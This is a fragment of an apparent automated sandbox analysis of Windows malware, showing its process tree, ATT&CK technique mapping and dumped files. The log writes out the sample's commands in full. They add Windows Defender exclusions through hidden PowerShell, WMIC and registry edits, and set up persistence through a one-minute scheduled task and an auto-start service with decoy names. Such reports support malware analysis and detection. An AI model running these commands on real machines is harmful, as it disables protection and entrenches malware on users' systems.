C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -NoProfile -NonInteractive -WindowStyle Hidden -Command "Invoke-CimMethod -Namespace root/Microsoft/Windows/Defender -ClassName MSFT_MpPreference -MethodName Add -Arguments @{ExclusionProcess=@('dpl3zztji.exe')}"3⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\System32\wbem\WMIC.exeC:\Windows\System32\wbem\WMIC.exe /namespace:\\root\Microsoft\Windows\Defender path MSFT_MpPreference call Add "AttackSurfaceReductionOnlyExclusions=\"C:\Users\Admin\AppData\Local\Temp\dpl3zztji.exe\""3⤵
- Reads the TCP/IP host and domain name from the registry
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -NoProfile -NonInteractive -WindowStyle Hidden -Command "Invoke-CimMethod -Namespace root/Microsoft/Windows/Defender -ClassName MSFT_MpPreference -MethodName Add -Arguments @{AttackSurfaceReductionOnlyExclusions=@('C:\Users\Admin\AppData\Local\Temp\dpl3zztji.exe')}"3⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\System32\reg.exeC:\Windows\System32\reg.exe add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /v C:\Users\Admin\AppData\Local\Temp\dpl3zztji.exe /t REG_DWORD /d 0 /f3⤵
-
-
C:\Windows\System32\reg.exeC:\Windows\System32\reg.exe add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Processes" /v C:\Users\Admin\AppData\Local\Temp\dpl3zztji.exe /t REG_DWORD /d 0 /f3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\dpl3zztji.exeC:\Users\Admin\AppData\Local\Temp\dpl3zztji.exe3⤵
- Executes dropped EXE
-
C:\Windows\SYSTEM32\schtasks.exeschtasks /create /tn "PowerPoint Pen Task" /tr "C:\Users\Admin\AppData\Local\Adobe\Windows\Logs\39C5618B\WindowsTouchService.exe" /sc minute /mo 1 /f4⤵
- Scheduled Task/Job: Scheduled Task
-
-
C:\Users\Admin\AppData\Local\Adobe\Windows\Logs\39C5618B\WindowsTouchService.exe"C:\Users\Admin\AppData\Local\Adobe\Windows\Logs\39C5618B\WindowsTouchService.exe"4⤵
- Executes dropped EXE
- Reads the TCP/IP host and domain name from the registry
- Modifies system certificate store
- Suspicious use of SetWindowsHookEx
-
C:\Windows\SYSTEM32\schtasks.exeschtasks /query /tn "PowerPoint Pen Task"5⤵
-
-
-
-
C:\Windows\System32\wbem\WMIC.exeC:\Windows\System32\wbem\WMIC.exe /namespace:\\root\Microsoft\Windows\Defender path MSFT_MpPreference call Add "ExclusionPath=\"C:\Users\Admin\AppData\Local\Temp\op99dxs9gy6g.exe\""3⤵
- Reads the TCP/IP host and domain name from the registry
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -NoProfile -NonInteractive -WindowStyle Hidden -Command "Invoke-CimMethod -Namespace root/Microsoft/Windows/Defender -ClassName MSFT_MpPreference -MethodName Add -Arguments @{ExclusionPath=@('C:\Users\Admin\AppData\Local\Temp\op99dxs9gy6g.exe')}"3⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\System32\wbem\WMIC.exeC:\Windows\System32\wbem\WMIC.exe /namespace:\\root\Microsoft\Windows\Defender path MSFT_MpPreference call Add "ExclusionProcess=\"C:\Users\Admin\AppData\Local\Temp\op99dxs9gy6g.exe\""3⤵
- Reads the TCP/IP host and domain name from the registry
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -NoProfile -NonInteractive -WindowStyle Hidden -Command "Invoke-CimMethod -Namespace root/Microsoft/Windows/Defender -ClassName MSFT_MpPreference -MethodName Add -Arguments @{ExclusionProcess=@('C:\Users\Admin\AppData\Local\Temp\op99dxs9gy6g.exe')}"3⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\System32\wbem\WMIC.exeC:\Windows\System32\wbem\WMIC.exe /namespace:\\root\Microsoft\Windows\Defender path MSFT_MpPreference call Add "ExclusionProcess=\"op99dxs9gy6g.exe\""3⤵
- Reads the TCP/IP host and domain name from the registry
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -NoProfile -NonInteractive -WindowStyle Hidden -Command "Invoke-CimMethod -Namespace root/Microsoft/Windows/Defender -ClassName MSFT_MpPreference -MethodName Add -Arguments @{ExclusionProcess=@('op99dxs9gy6g.exe')}"3⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\System32\wbem\WMIC.exeC:\Windows\System32\wbem\WMIC.exe /namespace:\\root\Microsoft\Windows\Defender path MSFT_MpPreference call Add "AttackSurfaceReductionOnlyExclusions=\"C:\Users\Admin\AppData\Local\Temp\op99dxs9gy6g.exe\""3⤵
- Reads the TCP/IP host and domain name from the registry
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -NoProfile -NonInteractive -WindowStyle Hidden -Command "Invoke-CimMethod -Namespace root/Microsoft/Windows/Defender -ClassName MSFT_MpPreference -MethodName Add -Arguments @{AttackSurfaceReductionOnlyExclusions=@('C:\Users\Admin\AppData\Local\Temp\op99dxs9gy6g.exe')}"3⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\System32\reg.exeC:\Windows\System32\reg.exe add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /v C:\Users\Admin\AppData\Local\Temp\op99dxs9gy6g.exe /t REG_DWORD /d 0 /f3⤵
-
-
C:\Windows\System32\reg.exeC:\Windows\System32\reg.exe add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Processes" /v C:\Users\Admin\AppData\Local\Temp\op99dxs9gy6g.exe /t REG_DWORD /d 0 /f3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\op99dxs9gy6g.exeC:\Users\Admin\AppData\Local\Temp\op99dxs9gy6g.exe3⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Executes dropped EXE
- Suspicious use of SetThreadContext
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" delete "Widgets Session Task"4⤵
- Launches sc.exe
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" create "Widgets Session Task" binpath= "C:\ProgramData\Windows\CommonFiles\Cache\6C4DB8F8\PowerPointExperienceService.exe" start= "auto"4⤵
- Launches sc.exe
-
-
-
-
C:\Windows\System32\nslookup.exe"C:\Windows\System32\nslookup.exe"2⤵
-
-
C:\Users\Admin\AppData\Local\Adobe\CommonFiles\LocalState\EB60FA96\CortanaRuntimeHelper.exe"C:\Users\Admin\AppData\Local\Adobe\CommonFiles\LocalState\EB60FA96\CortanaRuntimeHelper.exe"1⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Adobe\Windows\Logs\39C5618B\WindowsTouchService.exeC:\Users\Admin\AppData\Local\Adobe\Windows\Logs\39C5618B\WindowsTouchService.exe1⤵
- Executes dropped EXE
Network
MITRE ATT&CK Enterprise v16
Execution
Command and Scripting Interpreter
1PowerShell
1Scheduled Task/Job
1Scheduled Task
1System Services
2Service Execution
2Persistence
Boot or Logon Autostart Execution
2Registry Run Keys / Startup Folder
2Boot or Logon Initialization Scripts
1Logon Script (Windows)
1Create or Modify System Process
4Windows Service
4Scheduled Task/Job
1Scheduled Task
1Privilege Escalation
Access Token Manipulation
1Parent PID Spoofing
1Boot or Logon Autostart Execution
2Registry Run Keys / Startup Folder
2Boot or Logon Initialization Scripts
1Logon Script (Windows)
1Create or Modify System Process
4Windows Service
4Scheduled Task/Job
1Scheduled Task
1Defense Evasion
Access Token Manipulation
1Parent PID Spoofing
1Hide Artifacts
2Hidden Files and Directories
2Impair Defenses
3Disable or Modify Tools
2Modify Registry
5Subvert Trust Controls
1Install Root Certificate
1Replay Monitor
Loading Replay Monitor...
Downloads
CortanaRuntimeHelper.exe
StartupProfileData-NonInteractive
StartupProfileData-NonInteractive
StartupProfileData-NonInteractive
StartupProfileData-NonInteractive
StartupProfileData-NonInteractive
StartupProfileData-NonInteractive
StartupProfileData-NonInteractive
StartupProfileData-NonInteractive
StartupProfileData-NonInteractive
StartupProfileData-NonInteractive
StartupProfileData-NonInteractive
StartupProfileData-NonInteractive
StartupProfileData-NonInteractive
StartupProfileData-NonInteractive
StartupProfileData-NonInteractive
StartupProfileData-NonInteractive
StartupProfileData-NonInteractive
StartupProfileData-NonInteractive
StartupProfileData-NonInteractive
StartupProfileData-NonInteractive
0c4xazk5c6.exe
9aazyvmlmrk.exe
__PSScriptPolicyTest_5iwg44to.vn2.psm1
dpl3zztji.exe
op99dxs9gy6g.exe
memory/432-117-0x0000000140000000-0x00000001404A7000-memory.dmp
memory/1048-258-0x0000000140000000-0x00000001404C6000-memory.dmp
memory/1048-272-0x0000000140000000-0x00000001404C6000-memory.dmp
memory/1048-278-0x0000000140000000-0x00000001404C6000-memory.dmp
memory/1048-277-0x0000000140000000-0x00000001404C6000-memory.dmp
memory/1048-276-0x0000000140000000-0x00000001404C6000-memory.dmp
memory/1048-275-0x0000000140000000-0x00000001404C6000-memory.dmp
memory/1048-203-0x0000000140000000-0x00000001404C6000-memory.dmp
memory/1048-274-0x0000000140000000-0x00000001404C6000-memory.dmp
memory/1048-273-0x0000000140000000-0x00000001404C6000-memory.dmp
memory/1432-147-0x00007FFB60A90000-0x00007FFB60A92000-memory.dmp
memory/1432-148-0x0000000140000000-0x000000014048C000-memory.dmp
memory/1432-155-0x0000000140000000-0x000000014048C000-memory.dmp
memory/1944-115-0x0000000140000000-0x00000001404A7000-memory.dmp
memory/1944-107-0x00007FFB60A90000-0x00007FFB60A92000-memory.dmp
memory/1944-109-0x0000000140000000-0x00000001404A7000-memory.dmp
memory/2116-252-0x0000000140000000-0x00000001404C6000-memory.dmp
memory/2116-211-0x0000000140000000-0x00000001404C6000-memory.dmp
memory/4176-8-0x000002AAA2CB0000-0x000002AAA2D62000-memory.dmp
memory/4176-7-0x000002AAA2C90000-0x000002AAA2CAE000-memory.dmp
memory/4176-11-0x000002AAA2F00000-0x000002AAA2F24000-memory.dmp
memory/4176-9-0x000002AAA2D70000-0x000002AAA2D7A000-memory.dmp
memory/4176-10-0x000002AAA2F00000-0x000002AAA2F2A000-memory.dmp
memory/4176-2-0x000002AAA29D0000-0x000002AAA29F2000-memory.dmp
memory/4896-266-0x0000000140000000-0x0000000141E06000-memory.dmp
memory/5460-260-0x0000000140000000-0x000000014417C000-memory.dmp
memory/5460-271-0x0000000140000000-0x000000014417C000-memory.dmp
memory/5460-263-0x0000000000480000-0x0000000000481000-memory.dmp
memory/5460-259-0x00007FFB60A90000-0x00007FFB60A92000-memory.dmp
memory/5576-160-0x0000000140000000-0x000000014048C000-memory.dmp
memory/5700-188-0x0000000140000000-0x00000001404C6000-memory.dmp
memory/5700-187-0x00007FFB60A90000-0x00007FFB60A92000-memory.dmp
memory/5700-199-0x0000000140000000-0x00000001404C6000-memory.dmp